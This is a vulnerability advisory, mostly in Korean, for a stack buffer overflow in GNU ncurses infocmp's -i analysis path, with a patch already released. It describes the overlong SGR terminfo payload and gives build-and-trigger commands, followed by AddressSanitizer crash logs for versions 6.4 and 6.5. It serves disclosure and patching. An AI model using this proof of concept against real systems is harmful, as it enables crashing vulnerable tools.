
Advisory for CVE-2025-69720: stack-based buffer overflow in GNU ncurses infocmp (CWE-121)
-i 스택 버퍼 오버플로우 (CWE-121)제보자: Yixuan Cao (Shenzhen University), [email protected]
clang 12.0.1 + AddressSanitizerinfocmp -i는 analyze_string() (progs/infocmp.c)을 호출하여 terminfo 항목에서 발견된 CSI 시퀀스를 검사합니다. 이 루틴은 후보 부분 문자열을 고정 크기 스택 버퍼(buf2, 4096바이트)로 복사합니다. len = strlen(cp)가 4096에 대해 검사되지 않기 때문에, 악의적으로 긴 CSI 매개변수 목록(예: sgr=\E[1234567;…;m, 약 800개 매개변수)이 buf2를 오버플로우하여 스택 스매시를 유발합니다. 동일한 PoC가 6.4 및 20251213 패치 이전의 6.5에서도 재현됩니다(아래 ASan 출력 참조). 6.4 이전 버전은 테스트되지 않았습니다.
ncurses 뉴스 (2025/12/13)에서 버그를 확인하고 수정했으며, 공식 패치를 사용할 수 있습니다.
infocmp -i를 실행하면 도구가 충돌(스택 버퍼 오버플로우)할 수 있습니다. 즉, 해당 호출에 대한 로컬 서비스 거부가 발생합니다.progs/infocmp.c (analyze_string)에서 len = strlen(cp)가 len을 검사하지 않고 buf2[MAX_TERMINFO_LENGTH] (4096)에 복사하는 데 사용되고, 이후 buf2[len] = '\0'이 수행될 때 발생합니다.-i 옵션은 init/reset 관련 기능(is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx)을 위한 특수 분석 경로이며, -i 없이 일반적인 infocmp 사용에는 영향을 미치지 않습니다.ncurses-6.5-20251213.patch.gz).# Download and extract the source code of ncurses-6.4
# (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
cd ~
wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
tar xvf ncurses-6.4.tar.gz
cd ncurses-6.4
# Configure with ASan
CC=clang \
CFLAGS='-O1 -g -fsanitize=address' \
LDFLAGS='-fsanitize=address' \
./configure --enable-widec # keep wide-char support so the long SGR survives
# Compile infocmp/tic/etc.
make -j$(nproc)
~/evil_sgr.ti에 있다고 가정)를 임시 데이터베이스로 컴파일합니다.
~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
infocmp로 오버플로우를 트리거합니다.
TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
~/ncurses-6.5/progs/... 경로를 사용하십시오.)ncurses-6.4의 경우:
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
#0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
#1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
#2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
#3 0xffffab9d0ffc (/usr/lib64/libc.so.6+0x2affc)
#4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
#5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)
Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
#0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818
This frame has 2 object(s):
[32, 4128) 'buf2' (line 819)
[4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3848299==ABORTING
그리고 ncurses-6.5의 경우:
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
#0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
#1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
#2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
#3 0xffff811baffc (/usr/lib64/libc.so.6+0x2affc)
#4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
#5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)
Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
#0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842
This frame has 2 object(s):
[32, 4128) 'buf2' (line 843)
[4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy
Shadow bytes around the buggy address:
0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3863888==ABORTING